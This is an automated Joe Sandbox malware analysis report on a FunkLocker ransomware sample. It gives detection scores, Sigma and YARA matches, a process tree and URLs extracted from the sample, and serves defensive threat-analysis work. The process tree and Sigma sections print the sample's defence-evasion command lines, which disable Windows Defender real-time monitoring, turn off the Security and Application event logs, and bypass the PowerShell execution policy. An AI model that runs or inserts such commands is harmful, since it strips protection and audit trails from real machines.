Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
rZU3xTxOnl.exe

Overview

General Information

Sample name:rZU3xTxOnl.exe
renamed because original name is a hash value
Original sample name:e622f3b743c7fc0a011b07a2e656aa2b5e50a4876721bcf1f405d582ca4cda22.exe
Analysis ID:1589532
MD5:039f85a7670428430274476cbe733db4
SHA1:f78a6b537244b544dc75a07bdbc7eda6ca15699e
SHA256:e622f3b743c7fc0a011b07a2e656aa2b5e50a4876721bcf1f405d582ca4cda22
Tags:exefunklockerfunksecransomwareRustyStealeruser-TheRavenFile
Infos:

Detection

FunkLocker
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected FunkLocker Ransomware
AI detected suspicious sample
Bypasses PowerShell execution policy
Creates files in the recycle bin to hide itself
Disables Windows Defender (via service or powershell)
Loading BitLocker PowerShell Module
Modifies Windows Defender protection settings
Sigma detected: Disable of ETW Trace
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Suspicious Eventlog Clear or Configuration Change
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected non-DNS traffic on DNS port
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level

Classification

Process Tree

  • System is w10x64
  • rZU3xTxOnl.exe (PID: 7768 cmdline: "C:\Users\user\Desktop\rZU3xTxOnl.exe" MD5: 039F85A7670428430274476CBE733DB4)
    • conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • net.exe (PID: 7872 cmdline: "net" session MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)
      • net1.exe (PID: 7896 cmdline: C:\Windows\system32\net1 session MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)
    • tasklist.exe (PID: 7916 cmdline: "tasklist" /fi "IMAGENAME eq vmware" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
    • powershell.exe (PID: 7944 cmdline: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • WmiPrvSE.exe (PID: 432 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
    • powershell.exe (PID: 7952 cmdline: "powershell" -Command "wevtutil sl Security /e:false" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • wevtutil.exe (PID: 1992 cmdline: "C:\Windows\system32\wevtutil.exe" sl Security /e:false MD5: 1AAE26BD68B911D0420626A27070EB8D)
    • powershell.exe (PID: 7972 cmdline: "powershell" -Command "wevtutil sl Application /e:false" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • wevtutil.exe (PID: 1988 cmdline: "C:\Windows\system32\wevtutil.exe" sl Application /e:false MD5: 1AAE26BD68B911D0420626A27070EB8D)
    • powershell.exe (PID: 7992 cmdline: "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: rZU3xTxOnl.exe PID: 7768JoeSecurity_funklockerYara detected FunkLocker RansomwareJoe Security

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: Disable of ETW Trace
    Source: Process startedAuthor: @neu5ron, Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "powershell" -Command "wevtutil sl Security /e:false", CommandLine: "powershell" -Command "wevtutil sl Security /e:false", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rZU3xTxOnl.exe", ParentImage: C:\Users\user\Desktop\rZU3xTxOnl.exe, ParentProcessId: 7768, ParentProcessName: rZU3xTxOnl.exe, ProcessCommandLine: "powershell" -Command "wevtutil sl Security /e:false", ProcessId: 7952, ProcessName: powershell.exe
    Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rZU3xTxOnl.exe", ParentImage: C:\Users\user\Desktop\rZU3xTxOnl.exe, ParentProcessId: 7768, ParentProcessName: rZU3xTxOnl.exe, ProcessCommandLine: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", ProcessId: 7944, ProcessName: powershell.exe
    Sigma detected: Powershell Defender Disable Scan Feature
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rZU3xTxOnl.exe", ParentImage: C:\Users\user\Desktop\rZU3xTxOnl.exe, ParentProcessId: 7768, ParentProcessName: rZU3xTxOnl.exe, ProcessCommandLine: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", ProcessId: 7944, ProcessName: powershell.exe
    Sigma detected: Suspicious Eventlog Clear or Configuration Change
    Source: Process startedAuthor: Ecco, Daniil Yugoslavskiy, oscd.community, D3F7A5105: Data: Command: "C:\Windows\system32\wevtutil.exe" sl Application /e:false, CommandLine: "C:\Windows\system32\wevtutil.exe" sl Application /e:false, CommandLine|base64offset|contains: , Image: C:\Windows\System32\wevtutil.exe, NewProcessName: C:\Windows\System32\wevtutil.exe, OriginalFileName: C:\Windows\System32\wevtutil.exe, ParentCommandLine: "powershell" -Command "wevtutil sl Application /e:false", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7972, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\wevtutil.exe" sl Application /e:false, ProcessId: 1988, ProcessName: wevtutil.exe
    Sigma detected: Change PowerShell Policies to an Insecure Level
    Source: Process startedAuthor: frack113: Data: Command: "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force", CommandLine: "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rZU3xTxOnl.exe", ParentImage: C:\Users\user\Desktop\rZU3xTxOnl.exe, ParentProcessId: 7768, ParentProcessName: rZU3xTxOnl.exe, ProcessCommandLine: "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force", ProcessId: 7992, ProcessName: powershell.exe
    Sigma detected: Non Interactive PowerShell Process Spawned
    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\rZU3xTxOnl.exe", ParentImage: C:\Users\user\Desktop\rZU3xTxOnl.exe, ParentProcessId: 7768, ParentProcessName: rZU3xTxOnl.exe, ProcessCommandLine: "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true", ProcessId: 7944, ProcessName: powershell.exe

    Suricata Signatures

    ⊘No Suricata rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Multi AV Scanner detection for dropped file
    Source: C:\Windows\System32\VvD5lMoAcR.exeReversingLabs: Detection: 68%
    Multi AV Scanner detection for submitted file
    Source: rZU3xTxOnl.exeVirustotal: Detection: 63%Perma Link
    Source: rZU3xTxOnl.exeReversingLabs: Detection: 68%
    AI detected suspicious sample
    Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
    Source: unknownHTTPS traffic detected: 199.232.192.193:443 -> 192.168.2.8:49705 version: TLS 1.2
    Source: rZU3xTxOnl.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: dev.pdbw source: rZU3xTxOnl.exe
    Source: Binary string: dev.pdb source: rZU3xTxOnl.exe
    Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmp
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\GatherLogs\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Config\Jump to behavior
    Source: C:\Users\user\Desktop\rZU3xTxOnl.exeFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Jump to behavior
    Source: global trafficTCP traffic: 192.168.2.8:52394 -> 162.159.36.2:53
    Source: global trafficHTTP traffic detected: GET /HCYQoVR.jpeg HTTP/1.1accept: */*host: i.imgur.com
    Source: Joe Sandbox ViewIP Address: 199.232.192.193 199.232.192.193
    Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
    Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
    Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
    Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
    Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: global trafficHTTP traffic detected: GET /HCYQoVR.jpeg HTTP/1.1accept: */*host: i.imgur.com
    Source: global trafficDNS traffic detected: DNS query: i.imgur.com
    Source: rZU3xTxOnl.exe, 00000000.00000003.1600554641.000001E547BEB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte
    Source: powershell.exe, 00000009.00000002.1499514079.000002275C5D3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
    Source: rZU3xTxOnl.exe, 00000000.00000003.1629950647.000001E5474D8000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E54744C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E54744C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E54744C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E54744C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
    Source: rZU3xTxOnl.exe, 00000000.00000003.1629950647.000001E5474D8000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E54744C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
    Source: rZU3xTxOnl.exe, 00000000.00000003.1629950647.000001E5474D8000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E54744C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
    Source: rZU3xTxOnl.exe, 00000000.00000003.1629950647.000001E54750C000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E547481000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1629950647.000001E547510000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
    Source: rZU3xTxOnl.exe, 00000000.00000003.1573889769.000001E547BE4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g.live.com/0CR%1/30
    Source: rZU3xTxOnl.exeString found in binary or memory: http://ns.adobe.
    Source: powershell.exe, 00000009.00000002.1471258004.0000022745A48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
    Source: rZU3xTxOnl.exe, 00000000.00000003.1573889769.000001E547BE4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://oe.msn.msnmail.hotmail.com/cgi-bin/hmdata
    Source: powershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
    Source: powershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1471258004.00000227449C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: powershell.exe, 00000009.00000002.1471258004.0000022744091000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
    Source: powershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1471258004.00000227449C3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
    Source: powershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://account.live.com/msangcwam
    Source: powershell.exe, 00000009.00000002.1471258004.0000022744091000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
    Source: powershell.exe, 00000009.00000002.1471258004.00000227451C0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp
    Source: powershell.exe, 00000009.00000002.1471258004.00000227456B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/winsvr-2022-pshelp0
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com/v4
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E547533000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://clients2.google.com/service/check2?crx3=true&appid=%7B430FD4D0-B729-4F61-AA34-91526481799D%7
    Source: rZU3xTxOnl.exe, 00000000.00000003.1649090351.000001E547982000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://config.edge.skype.com/config/v1/EdgeUpdate/1.3.177.11?clientId=s:92C86F7C-DB2B-4F6A-95AD-98B
    Source: powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
    Source: powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
    Source: powershell.exe, 00000009.00000002.1493884811.0000022754104000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
    Source: rZU3xTxOnl.exeString found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474A6000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E547442000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
    Source: rZU3xTxOnl.exe, 00000000.00000003.1625324685.000001E5474A9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474D7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
    Source: rZU3xTxOnl.exe, 00000000.00000003.1629950647.000001E5474B8000.00000004.00000020.00020000.00000000.sdmp, rZU3xTxOnl.exe, 00000000.00000003.1625324685.000001E547437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
    Source: rZU3xTxOnl.exe, 00000000.00000003.1626680514.000001E5474F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
    Source: rZU3xTxOnl.exeString found in binary or memory: https://getsession.org/
    Source: powershell.exe, 00000009.00000002.1471258004.00000227442B8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
    Source: powershell.exe, 00000009.00000002.1471258004.00000227456B7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
    Source: rZU3xTxOnl.exeString found in binary or memory: https://i.imgur.com/HCYQoVR.jpegtO8
    Source: rZU3xTxOnl.exe, 00000000.00000000.1413326488.00007FF7B16DB000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: https://i.imgur.com/HCYQoVR.jpegtOn
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ApproveSession.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ListSessions.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageApprover.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ManageLoginKeys.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/RST2.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/didtou.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getrealminfo.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/getuserrealm.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
    Source: rZU3xTxOnl.exe, 00000000.00000003.1622663577.000001E5479F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
